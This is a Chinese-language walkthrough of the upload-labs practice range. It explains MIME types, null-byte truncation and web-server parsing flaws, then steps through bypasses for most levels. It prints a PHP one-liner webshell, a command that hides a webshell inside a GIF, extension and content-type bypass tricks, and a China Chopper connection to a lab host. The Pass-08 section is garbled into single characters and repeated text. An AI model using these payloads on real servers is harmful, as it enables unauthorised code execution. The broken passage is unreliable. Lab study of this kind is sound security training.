https://github.com/c0ny1/upload-labs靶场开源地址
基础知识:4. 常见的MIME类型
1)超文本标记语言.html文件的MIME类型为:text/html
2)普通文本.txt文件的MIME类型为:text/plain
3)PDF文档.pdf的MIME类型为:application/pdf
4)MicrosoftWord文件.word的MIME类型为:application/msword
5)PNG图像.png的MIME类型为:image/png
6)GIF图像.gif的MIME类型为:image/gif
7)MPEG文件.mpg、.mpeg的MIME类型为:video/mpeg
8)AVI文件.avi的MIME类型为:video/x-msvideo
5. 00截断
1) 0x00截断
0x00是十六进制表示方法,表示ASCII码为0的字符,在一些函数处理时,会把这个字符当作结束符。
0x00可以用在对文件名的绕过上,具体原理:系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。也就是说系统是按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII码为0的位置在十六进制中是00。
总之就是利用ASCII码为0这个特殊字符,让系统认为字符串已经结束。
2) %00截断
url发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是%00解码后的内容,即解码成了0x00。总之就是%00被服务器解码为0x00发挥了截断作用。
3) 0x0a
0x0a是十六进制表示方法,表示ASCII码为/n的换行字符,具体为换行至下一行行首起始位置。
- 解析漏洞
1)IIS6.0解析漏洞
目录解析:在网站下建立名为.asp、.asa的文件夹,其目录内任何扩展名的文件都会被IIS当作asp文件来解析并执行,如创建目录aa.jsp,那么/xx.asp/xx.jpg会被解析成ASP脚本来执行;
文件解析:在IIS6.0下,分号后面的不被解析,也就是说aa.asp;.jpg会被服务器当成aa.asp文件来执行;
IIS6.0默认的可执行文件除了asp还包括asa、cer和cdx
2)IIS7.0/Nginx<8.0.3畸形解析漏洞
在默认开启Fast-CGI情况下,攻击者上传一个内容为<?PHP fputs(fopen('shell.php','w'),'<?phpeval($_POST[cmd])?>’);?>的jpg文件,然后访问xx.jpg/x.php,在这个目录下就会生成一句话木马shell.php
3)Apache解析漏洞
Apache是从右往左开始判断解析,如果为不可识别解析再往左判断,如aa.php.owf.rar文件,Apache不可识别解析‘.owf’和‘.rar’这两种后缀,会解析成.php文件。
制作图片马
图片马制作方法:copy test.gif /b + eval.php /a eval.gif
将PHP一句话追加到gif图片末尾,b表示二进制文件,a表示ASCII码文件,形成一个包含webshell代码的新gif文件eval.gif。
开始测试
一句话木马
Pass-02
查看源码可以发现是白名单判断,只允许上传$_FILES[‘upload_file’][‘type’]为’image/jpeg’、'image/png’及’image/gif’的文件
那么就抓包后自己改
改过来上传即可,在响应文件里查看
Pass-06
发现还是黑名单检测,但是没有对后缀名进行去空处理,可以通过在后缀名后加空进行绕过
还是上传之前的PHP一句话木马eval.php并用burpsuite抓包,将文件后缀改为.php+空格
Pass-07
通过查看源码可以发现没有对后缀名进行去‘.’处理,利用Windows系统的文件名特性,会自动去掉后缀名最后的‘.’,通过在文件名后加‘.’进行绕过。
Pass-08
发现没有对后缀名进行去‘::
D
A
T
A
’
处
理
,
利
用
W
i
n
d
o
w
s
下
N
T
F
S
文
件
系
统
的
一
个
特
性
,
即
N
T
F
S
文
件
系
统
存
储
数
据
流
的
一
个
属
性
DATA’处理,利用Windows下NTFS文件系统的一个特性,即NTFS文件系统存储数据流的一个属性
DATA’处理,利用Windows下NTFS文件系统的一个特性,即NTFS文件系统存储数据流的一个属性DATA,当我们访问aa.asp::
D
A
T
A
时
,
就
是
请
求
a
a
.
a
s
p
本
身
的
数
据
。
可
以
在
后
缀
名
后
加
‘
:
:
DATA时,就是请求aa.asp本身的数据。可以在后缀名后加‘::
DATA时,就是请求aa.asp本身的数据。可以在后缀名后加‘::DATA’,绕过对黑名单的检测。
成功上传文件到upload文件夹下。
Windows文件流特性绕过,上传成功后实际保存的文件名是201904101822529651.php。
Pass-09
还是黑名单过滤,注意第15行和之前不太一样,路径拼接的是处理后的文件名,直接上传.php、.php+点、.php+空都会被当成黑名单过滤掉,因为源代码做了删除文件名末尾的点和首尾去空处理。可以配合解析漏洞,构造‘点+空格+点’的形式,绕过黑名单的检测上传恶意文件。
Pass-10
依然是黑名单限制,注意到这里将问题后缀名替换为空,我们可以利用双写绕过,进行恶意文件的上传。
上传eval.php并使用burpsuite抓包,修改后缀名为pphphp,点击‘go’之后查看文件是否上传成功
Pass-11
利用的事00截断
注:%00截断的条件:
1)PHP版本小于5.3.4;
2)打开PHP的配置文件php-ini,将magic_quotes_gpc设置为Off。
这里是想对上传的文件进行拼接,直接就成了其他的文件,而且是get传参,那么就可以直接进行修改,不用再经过二进制/。
菜刀直接链接
Pass-12
和Pass-11不同的是,'save_path’是通过post传进来的,需要在二进制文件中进行修改,因为post不会像get那样对%00进行自动解码。所以用hex进行解码
Pass-13
通过读取文件的前两个字节来判断文件类型,可以上传图片马,添加GIF图片的文件头绕过GIF图片检查
配合文件包含漏洞执行webshell:
菜刀连接webshell:
点这个‘+’号,输入webshell地址:http://10.1.1.100/upload-labs/upload/include.php?page=5120190530143008.gif
在后面的post数据输入框里输入:test=phpinfo();
Pass-14
这里使用getimagesize()获取文件类型,直接上传图片马,添加GIF图片的文件头绕过GIF图片检查。
Pass-14还可以通过上传.php文件,修改Content-Type,添加GIF图片的文件头GIF89a进行绕过。
在…/upload/后添加test.php (.php后面加空格),filename不用修改,然后点击‘Hex’:
最终上传的是test.php文件。
Pass-19
发现move_uploaded_file()函数中的$img_path是由post参数save_name控制的,可以在save_name中利用00截断进行绕过。
保存名称修改为‘test.php+空格.1.jpg’,点击‘上传’